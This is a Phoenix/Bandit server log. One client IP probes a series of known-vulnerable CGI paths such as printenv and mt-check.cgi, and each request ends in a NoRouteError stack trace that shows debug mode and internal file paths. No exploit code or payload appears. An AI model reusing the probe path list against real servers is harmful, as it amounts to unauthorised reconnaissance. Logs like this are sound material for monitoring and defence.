    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:41.006000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49782] GET /cgi-bin/index.pl
[Thu Sep  3 08:40:41.036000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49782] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:41.642000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49790] GET /cgi-bin/index.sh
[Thu Sep  3 08:40:41.659000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49790] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/index.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:42.347000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:49804] GET /cgi-bin/login
[Thu Sep  3 08:40:42.365000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:49804] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:43.197000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41170] GET /cgi-bin/login.cgi
[Thu Sep  3 08:40:43.228000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41170] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:43.844000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41186] GET /cgi-bin/mailit.pl
[Thu Sep  3 08:40:43.860000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41186] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mailit.pl (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:44.439000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41200] GET /cgi-bin/mt/mt-check.cgi
[Thu Sep  3 08:40:44.466000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41200] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:45.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41206] GET /cgi-bin/mt/mt-load.cgi
[Thu Sep  3 08:40:45.091000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41206] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:45.730000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41212] GET /cgi-bin/mt-static/mt-check.cgi
[Thu Sep  3 08:40:45.755000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41212] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-check.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:46.376000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41224] GET /cgi-bin/mt-static/mt-load.cgi
[Thu Sep  3 08:40:46.402000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41224] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/mt-static/mt-load.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:47.075000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41226] GET /cgi-bin/ncbook/book.cgi
[Thu Sep  3 08:40:47.097000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41226] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/ncbook/book.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:47.833000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41234] GET /cgi-bin/printenv
[Thu Sep  3 08:40:47.855000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41234] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:48.700000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41242] GET /cgi-bin/printenv.cgi
[Thu Sep  3 08:40:48.735000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41242] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/printenv.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:49.429000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41250] GET /cgi-bin/quickstore.cgi
[Thu Sep  3 08:40:49.450000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41250] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/quickstore.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:50.092000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41254] GET /cgi-bin/search
[Thu Sep  3 08:40:50.123000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41254] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:50.761000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41262] GET /cgi-bin/search.cgi
[Thu Sep  3 08:40:50.776000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41262] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:51.476000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41278] GET /cgi-bin/search/search.cgi
[Thu Sep  3 08:40:51.492000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41278] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/search/search.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
